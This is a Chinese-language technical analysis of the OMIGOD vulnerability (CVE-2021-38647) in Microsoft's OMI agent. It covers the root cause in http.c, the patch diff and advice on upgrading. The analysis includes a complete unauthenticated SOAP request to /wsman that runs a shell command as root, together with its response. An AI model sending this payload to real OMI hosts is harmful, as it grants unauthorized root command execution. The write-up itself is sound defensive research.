OMIGOD:CVE-2021-38647 OMI远程代码执行漏洞分析

 

基本情况

微软在2021年9月的补丁更新中,修复了其Open Management Infrastructure (OMI) 中的多个漏洞,其中最为严重一个是远程代码执行漏洞,编号为CVE-2021-38647,也被称为OMIGOD,该漏洞影响OMI 1.6.8.0及以下版本。该漏洞能够在未授权情况下,远程以root权限执行任意命令,影响范围较大,CVSS评分9.8,建议存在漏洞版本尽快升级OMI版本。

 

OMI介绍

OMI是微软开发并开源的远程配置管理工具,其主体使用C语言编写,主要用于UNIX/Linux系统上,类是与Windows系统的WMI,它允许用户远程管理配置并收集统计数据。OMI的抽象和易用特征,使得它在Azure中被广泛应用。在Azure Linux服务器上,OMI Agent通常用于支持以下功能和服务:

  • Azure Automation
  • Azure Automatic Update
  • Azure Operations Management Suite
  • Azure Log Analytics
  • Azure Configuration Management
  • Azure Diagnostics
  • Azure Container Insights

在OMI独立安装、Azure Configuration Management或System Center Operations Manager (SCOM)默认配置情况下,OMI的进程omiengine以root用户身份运行,并且默认会开启端 (通常为5986/5985/1270) 监听来至任意地址的连接。如下图所示:

这种配置正常情况下,用户认证之后,通过OMI可以远程管理配置Azure环境。

 

漏洞分析

漏洞成因

正常情况下,用户可以使用omicli连接远程服务端执行命令,例如可以执行查看id的命令:

/opt/omi/bin/omicli --hostname xx.xx.xx.xx -u xxxx -p xxxx iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 }

则口令正确的情况下返回为:

instance of ExecuteShellCommand
{
    ReturnValue=true
    ReturnCode=0
    StdOut=uid=1000(xxxx) gid=1000(xxxx) groups=1000(xxxx),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)

    StdErr=
}

对应的数据包为:

HTTP/1.1 200 OK
Content-Length: 1415
Connection: Keep-Alive
Content-Type: application/soap+xml;charset=UTF-8

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Header>
    <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
    <wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</wsa:Action>
    <wsa:MessageID>uuid:6E73E6A0-C38A-0005-0000-000000020000</wsa:MessageID>
    <wsa:RelatesTo>uuid:0AB58087-C2C3-0005-0000-000000010000</wsa:RelatesTo>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
    <p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
        <p:ReturnValue>TRUE</p:ReturnValue>
        <p:ReturnCode>0</p:ReturnCode>
        <p:StdOut>uid=1000(xxxx) gid=1000(xxxx) groups=1000(xxxx),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)</p:StdOut>
        <p:StdErr />
    </p:SCX_OperatingSystem_OUTPUT>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

当口令错误的情况下返回的数据包如下:

HTTP/1.1 401 Unauthorized
Content-Length: 0
WWW-Authenticate: Basic realm="WSMAN"
WWW-Authenticate: Negotiate
WWW-Authenticate: Kerberos

但是如果在发送执行命令请求数据包时,不带Authorization头,发送数据包如下:

POST /wsman HTTP/1.1
Connection: Keep-Alive
Content-Length: 1505
Content-Type: application/soap+xml;charset=UTF-8
Host: xx.xx.xx.xx:5986

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
<s:Header>
    <a:To>HTTP://xx.xx.xx.xx:5986/wsman/</a:To>
    <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
    <a:ReplyTo>
        <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
    </a:ReplyTo>
    <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
    <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
    <a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
    <w:OperationTimeout>PT1M30S</w:OperationTimeout>
    <w:Locale xml:lang="en-us" s:mustUnderstand="false" />
    <p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
    <w:OptionSet s:mustUnderstand="true" />
    <w:SelectorSet>
        <w:Selector Name="__cimnamespace">root/scx</w:Selector>
    </w:SelectorSet>
</s:Header>
<s:Body>
    <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
        <p:command>id</p:command>
        <p:timeout>0</p:timeout>
    </p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>

此时返回值为:

HTTP/1.1 200 OK
Content-Length: 1415
Connection: Keep-Alive
Content-Type: application/soap+xml;charset=UTF-8

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Header>
    <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
    <wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</wsa:Action>
    <wsa:MessageID>uuid:6E73E6A0-C38A-0005-0000-000000030000</wsa:MessageID>
    <wsa:RelatesTo>uuid:0AB58087-C2C3-0005-0000-000000010000</wsa:RelatesTo>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
    <p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
        <p:ReturnValue>TRUE</p:ReturnValue>
        <p:ReturnCode>0</p:ReturnCode>
        <p:StdOut>uid=0(root) gid=0(root) groups=0(root)</p:StdOut>
        <p:StdErr />
    </p:SCX_OperatingSystem_OUTPUT>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

是不是非常的神奇,此时就出现了未认证情况下的远程代码执行情况,而且是以root用户权限的命令执行。

为什么会出现这个情况? 对照源代码进行分析,首先用户进行远程连接时,首先会进入http.c文件中的_ListenerCallback函数进行处理,该该函数为登录用户创建一个Http_Listener_SocketData并进行初始化,如下:

static MI_Boolean _ListenerCallback(
    Selector* sel,
    Handler* handler_,
    MI_Uint32 mask,
    MI_Uint64 currentTimeUsec)
{
    Http_Listener_SocketData* handler = (Http_Listener_SocketData*)handler_;    //创建Http_Listener_SocketData
    Http* self = (Http*)handler->base.data;
    MI_Result r;
    Sock s;
    Addr addr;
    Http_SR_SocketData* h;

    MI_UNUSED(sel);
    MI_UNUSED(mask);
    MI_UNUSED(currentTimeUsec);

    if (mask & SELECTOR_READ)
    {
        /* Accept the incoming connection */
        r = Sock_Accept(handler->base.sock, &s, &addr);

        if (MI_RESULT_WOULD_BLOCK == r)
            return MI_TRUE;


        if (r != MI_RESULT_OK)
        {
            trace_SockAccept_Failed(ENGINE_TYPE, Sock_GetLastError());
            return MI_TRUE;
        }

        r = Sock_SetBlocking(s, MI_FALSE);
        if (r != MI_RESULT_OK)
        {
            trace_SockSetBlocking_Failed(ENGINE_TYPE);
            HttpAuth_Close(handler_);
            Sock_Close(s);
            return MI_TRUE;
        }

        /* Create handler */
        h = (Http_SR_SocketData*)Strand_New( STRAND_DEBUG( HttpSocket ) &_HttpSocket_FT, sizeof(Http_SR_SocketData), STRAND_FLAG_ENTERSTRAND, NULL );

        if (!h)
        {
            trace_SocketClose_Http_SR_SocketDataAllocFailed();
            HttpAuth_Close(handler_);
            Sock_Close(s);
            return MI_TRUE;
        }

        /* Primary refount -- secondary one is for posting to protocol thread safely */
        h->refcount = 1;    //初始化Http_Listener_SocketData
        h->http = self;
        h->pAuthContext  = NULL;
        h->pVerifierCred = NULL;
        h->isAuthorised = FALSE;
        h->authFailed   = FALSE;
        h->encryptedTransaction = FALSE;
        h->pSendAuthHeader = NULL;
        h->sendAuthHeaderLen = 0;
    --------
    }
}

可以发现此时初始化将isAuthorised设为FALSE,并且未初始化authInfo.uid和authInfo.gid。
接着_ListenerCallback函数调用到_ReadData函数,该函数用于接收输入的数据并且进行处理,下面重点分析_ReadData函数的处理逻辑:

static Http_CallbackResult _ReadData(
    Http_SR_SocketData* handler)
{
    char* buf;
    size_t buf_size, received;
    MI_Result r;

    /* are we in the right state? */
    if (handler->recvingState != RECV_STATE_CONTENT)
        return PRT_RETURN_FALSE;

    buf = ((char*)(handler->recvPage + 1)) + handler->receivedSize;
    buf_size = handler->recvHeaders.contentLength - handler->receivedSize;
    received = 0;

    if (buf_size)
    {
        r = _Sock_Read(handler, buf, buf_size, &received);

        if ( r == MI_RESULT_OK && 0 == received )
            return PRT_RETURN_FALSE; /* conection closed */

        if ( r != MI_RESULT_OK && r != MI_RESULT_WOULD_BLOCK )
            return PRT_RETURN_FALSE;

        handler->receivedSize += received;
    }

    /* did we get all data? */

    if ( handler->receivedSize != handler->recvHeaders.contentLength )
        return PRT_RETURN_TRUE;


    /* If we are authorised, but the client is sending an auth header, then 
    * we need to tear down all of the auth state and authorise again.
    * NeedsReauthorization does the teardown
    */

    if(handler->recvHeaders.authorization)  // (1) 判断是否收到authorization
    {
        Http_CallbackResult authorized;
        handler->requestIsBeingProcessed = MI_TRUE;

        if (handler->isAuthorised)
        { 
            Deauthorize(handler);
        }

        authorized = IsClientAuthorized(handler);

        if (PRT_RETURN_FALSE == authorized)
        {
            goto Done;
        }
        else if (PRT_CONTINUE == authorized)
        {
            return PRT_CONTINUE;
        }
    }
    else 
    {
        /* Once we are unauthorised we remain unauthorised until the client
        starts the auth process again */

        if (handler->authFailed)    // (2) authFailed判断
        {
            handler->httpErrorCode = HTTP_ERROR_CODE_UNAUTHORIZED;
            return PRT_RETURN_FALSE;
        }
    }

    r = Process_Authorized_Message(handler);    // (3) Message处理
    if (MI_RESULT_OK != r)
    {
        return PRT_RETURN_FALSE;
    }

Done:
    handler->recvPage = 0;
    handler->receivedSize = 0;
    memset(&handler->recvHeaders, 0, sizeof(handler->recvHeaders));
    handler->recvingState = RECV_STATE_HEADER;
    return PRT_CONTINUE;
}

由上面代码可以发现,当发送数据包不带Authorization字段时,函数处理会进入else处理部分,会判断authFailed,由于authFailed为FALSE,则会跳出执行到Process_Authorized_Message函数,则就会出现未认证的情况下执行命令的情况,由于此时是在OMI进程中,因此会以root用户权限执行。

到此,我们即发现了漏洞的成因,该漏洞是在逻辑设计的过程中,对认证过程校验不严格导致的。

漏洞补丁

通过漏洞成因分析,我们可以发现,漏洞出现的原因主要是在http.c文件中的_ListenerCallback和_ReadData函数中,因此漏洞修复也主要是在这两个函数中进行。通过对比OMI源码发现:

_ListenerCallback函数在初始化部分进行修复,将authInfo.uid和authInfo.gid初始化为INVALID_ID,如下面代码所示:

static MI_Boolean _ListenerCallback(
    Selector* sel,
    Handler* handler_,
    MI_Uint32 mask,
    MI_Uint64 currentTimeUsec)
{
    --------

        /* Primary refount -- secondary one is for posting to protocol thread safely */
        h->refcount = 1;
        h->http = self;
        h->pAuthContext  = NULL;
        h->pVerifierCred = NULL;
        h->isAuthorised = FALSE;
        h->authFailed   = FALSE;
        h->encryptedTransaction = FALSE;
        h->pSendAuthHeader = NULL;
        h->sendAuthHeaderLen = 0;
        h->authInfo.uid= INVALID_ID;    //补丁修复部分
        h->authInfo.gid= INVALID_ID;    //补丁修复部分

       --------

    return MI_TRUE;
}

修复前后代码对比如下图:

_ReadData函数修复主要是在函数Process_Authorized_Message执行之前,加入isAuthorised的判断,如下面代码:

static Http_CallbackResult _ReadData(
Http_SR_SocketData* handler)

{
if (handler->isAuthorised)
{
    r = Process_Authorized_Message(handler);
    if (MI_RESULT_OK != r)
    {
        return PRT_RETURN_FALSE;
    }
}

------
}

修复前后代码对比如下图:

总结建议

该漏洞是一个认证逻辑上存在缺陷导致的远程代码执行漏洞,漏洞影响范围较大,且利用前置条件简单,建议立即更新受此漏洞影响的Azure产品,或者手动操作以确保OMI版本升级到最新版本。

  • Debian系统(例如Ubuntu):dpkg -l omi
  • RedHat系统(例如Fedora,CentOS, RHEL):rpm -qa omi

 

参考资料

1.https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

2.https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/

3.https://msrc-blog.microsoft.com/2021/09/16/additional-guidance-regarding-omi-vulnerabilities-within-azure-vm-management-extensions/

(完)